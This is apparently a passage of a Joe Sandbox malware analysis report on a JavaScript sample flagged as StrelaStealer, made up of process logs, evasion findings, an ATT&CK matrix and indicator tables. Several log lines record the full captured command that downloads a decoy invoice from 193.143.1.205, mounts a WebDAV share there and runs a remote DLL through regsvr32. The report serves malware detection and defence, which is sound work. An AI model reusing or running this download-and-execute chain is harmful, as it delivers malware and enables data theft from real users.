Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4179			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5715			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6636	Thread sleep count: 4179 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6636	Thread sleep count: 5715 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6256	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6920	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 6636	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7556	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 0000000C.00000002.1298277161.000002096CAE1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.2540071414.000001C21A254000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.2538291931.000001C214C2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 0000000C.00000002.1298277161.000002096CA78000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@f

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22369444332619.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22369444332619.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22369444332619.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22369444332619.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22369444332619.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
26680121751816526037.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer
26680121751816526037.js	5%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/l	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	wscript.exe, 00000000.00000003.1241048072.000001FE45559000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000E.00000003.1306097721.000001C21A100000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.14.dr, edb.log.14.dr	false		high
http://crl.ver)	svchost.exe, 0000000E.00000002.2540218448.000001C21A283000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.13.dr	false		high
https://www.adobe.co	ReaderMessages.9.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	edb.log.14.dr	false		high
http://193.143.1.205:8888/	net.exe, 0000000C.00000002.1298277161.000002096CAAD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1298277161.000002096CACE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1298277161.000002096CA78000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/l	net.exe, 0000000C.00000002.1298277161.000002096CA78000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589026
Start date and time:	2025-01-11 08:35:02 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	26680121751816526037.js
Detection:	MAL
Classification:	mal100.rans.spyw.expl.evad.winJS@28/63@0/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 52.6.155.20, 3.233.129.217, 52.22.41.97, 3.219.243.226, 23.209.209.135, 84.201.210.23, 184.28.90.27, 2.16.168.107, 2.16.168.105, 2.22.242.11, 2.22.242.123, 23.54.161.98, 23.55.235.177, 192.168.2.7, 13.107.246.45, 23.47.168.24, 52.149.20.212
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, fs.microsoft.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, time.windows.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
02:35:58	API Interceptor	23x Sleep call for process: powershell.exe modified
02:36:02	API Interceptor	1x Sleep call for process: net.exe modified
02:36:03	API Interceptor	2x Sleep call for process: svchost.exe modified
02:36:10	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	14551240011188825169.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22931850270221075.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1444589682028830633.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1159118512797312986.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5476263142183119959.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	262192623320272411.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	71621480653828912.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5405100231672716142.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3129912127106722813.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	545019492124428424.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	14551240011188825169.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	22931850270221075.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1444589682028830633.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1159118512797312986.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5476263142183119959.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	262192623320272411.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	98329724306712404.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	71621480653828912.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5405100231672716142.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3129912127106722813.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7066891048454669
